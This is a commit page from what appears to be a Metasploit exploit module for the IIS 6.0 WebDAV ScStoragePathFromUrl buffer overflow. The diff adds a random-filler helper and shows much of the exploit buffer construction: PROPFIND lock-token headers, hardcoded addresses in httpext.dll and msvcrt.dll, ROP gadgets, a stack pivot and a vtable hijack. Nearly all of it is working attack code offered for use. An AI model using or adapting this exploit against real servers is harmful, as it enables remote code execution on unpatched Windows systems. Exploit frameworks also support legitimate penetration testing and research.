Skip to content

Commit 7ca0fe5

Browse files
Added make_junk function
1 parent 2f39daa commit 7ca0fe5

File tree

1 file changed

+11
-6
lines changed

1 file changed

+11
-6
lines changed

modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb

Lines changed: 11 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -157,6 +157,11 @@ def utf_encode_str(str)
157157
return str.force_encoding('UTF-16LE').encode('UTF-8')
158158
end
159159

160+
#filler chars to be encoded
161+
def make_junk(len)
162+
return utf_encode_str(rand_text_alpha(len))
163+
end
164+
160165
def exploit
161166
# extract the local servername and port from a PROPFIND request
162167
# these need to be the values from the backend server
@@ -189,28 +194,28 @@ def exploit
189194
begin
190195
buf1 = "<#{http_host}/"
191196
buf1 << rand_text_alpha(114 - path_len)
192-
buf1 << utf_encode_str(junk * 16)
197+
buf1 << make_junk(32)
193198
#survive SHR instruction 0x02020202
194199
buf1 << utf_encode_str([0x02020202].pack('V'))
195200
#str pointer to .data httpext.dll # ebp-328 # used in wcslen calculation
196201
buf1 << utf_encode_str([0x680312c0].pack('V'))
197-
buf1 << utf_encode_str(junk * 20)
202+
buf1 << make_junk(40)
198203
#0x680313c0 -> destination pointer used with memcpy
199204
buf1 << utf_encode_str([0x680313c0].pack('V'))
200205
buf1 << ">"
201206
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
202207
buf1 << rand_text_alpha(114 - path_len)
203-
buf1 << utf_encode_str(junk * 14)
208+
buf1 << make_junk(28)
204209
#0x680313c0 -> pointer to call itself at same address for vtable call
205210
buf1 << utf_encode_str([0x680313c0].pack('V'))
206211
#ROP 2 gadget -> advance ESP past previous instructions to start of ROP chain
207212
#msvct.dll 0x77bdf38d # ADD ESP,1C # POP ECX # POP EBX # POP EAX # RETN
208213
buf1 << utf_encode_str([0x77bdf38d].pack('V'))
209-
buf1 << utf_encode_str(junk * 4)
210-
#0x680313c0 -> vtable pointer passed to EAX for [call eax +24]
214+
buf1 << make_junk(8)
215+
#0x680313c0 -> vtable pointer passed to EAX for call [eax +24]
211216
#point to itself at [eax]
212217
buf1 << utf_encode_str([0x680313c0].pack('V'))
213-
buf1 << utf_encode_str(junk * 8)
218+
buf1 << make_junk(16)
214219
#ROP 1 gadget -> 0x68016082 stack flip get ECX into ESP and push EAX
215220
#which also points to new ESP
216221
buf1 << utf_encode_str([0x68016082].pack('V'))

0 commit comments

Comments
 (0)